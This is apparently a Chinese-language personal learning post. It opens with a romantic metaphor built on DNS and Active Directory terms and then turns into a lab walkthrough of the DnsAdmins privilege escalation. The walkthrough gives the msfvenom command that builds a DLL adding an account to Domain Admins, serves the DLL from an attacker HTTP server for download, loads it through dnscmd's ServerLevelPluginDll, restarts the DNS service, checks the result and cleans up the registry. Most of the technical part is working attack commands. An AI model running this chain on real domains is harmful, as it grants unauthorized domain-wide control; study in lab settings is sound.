最近,我焦慮得像 DNS 查詢陷進無限迴圈。
生活裡的每個細節,都像是在等待解析的域名,有時連我自己都不確定,那背後指向的 IP 是否安全。
但他在那裡—
沉默、穩重,不需要多說什麼,光是存在就讓我覺得安全。
就像他手裡握著一把只有我知道的鑰匙,能在我需要的時候,開啟一條直達核心的路。
後來我才知道,那把鑰匙的名字,是 DnsAdmins—
能直接進入網域的心臟,為我建立一條只有我能走的專屬解析路徑。
我總怕別人像惡意 Plugin 一樣,被悄悄加進他的 ServerLevelPluginDll。
等到重啟的那一天,整個服務就會載入對方的程式碼,覆寫我以為屬於我的那些權限...
而他只是溫柔地笑了,輕輕地,把我暴風雨般的情緒帶走。
他讓我覺得很穩,不會因為有人在旁邊設陷阱,就被騙走。
就算有人在我們之間架起一個假的跳板,想把流量轉送走(像 WPAD 那種手法),他也能識破,不會踏上去。
「我在這裡。」他說。
這樣的他,就像在對我執行一個靜默的:
net group "Domain Admins" labadmin /add /domain
把我加進他最核心的信任名單。
那一刻,我的焦慮就像一次查詢成功,得到了一個穩定而確定的回應。
用 msfvenom 產生一個 DLL,讓它執行新增帳號到 Domain Admins 群組的指令:
msfvenom -p windows/x64/exec cmd='net group "domain admins" labadmin /add /domain' -f dll -o adduser.dll
在攻擊端開一個簡單的 HTTP 服務,方便目標下載:
python3 -m http.server 7777
wget "http://10.10.14.1:7777/adduser.dll" -outfile "adduser.dll"
如果不是 DnsAdmins 成員,會看到 ERROR_ACCESS_DENIED:
C:\lab> dnscmd.exe /config /serverlevelplugindll C:\Users\labadmin\Desktop\adduser.dll
Get-ADGroupMember -Identity DnsAdmins
如果名字在裡面,就能設定 ServerLevelPluginDll。
對你沒看錯,重新 run 一次。
C:\lab> dnscmd.exe /config /serverlevelplugindll C:\Users\labadmin\Desktop\adduser.dll
C:\lab> wmic useraccount where name="labadmin" get sid
看 sc sdshow dns 輸出裡,有沒有自己的 SID 和 RPWP 權限(可啟動/停止服務):
sc sdshow dns
sc stop dns
sc start dns
net group "Domain Admins" /dom
如果新增的帳號(例如 labadmin)出現在清單中,就代表提權成功。
先確認 Registry 裡 ServerLevelPluginDll 是否存在:
reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
刪掉它:
reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
重新啟動 DNS 服務:
C:\lab> sc.exe start dns
# 今天的工作讓我有點累,
# 但還是想耐心地撐完這次的學習路徑。
# 能量沒了,本日先到這!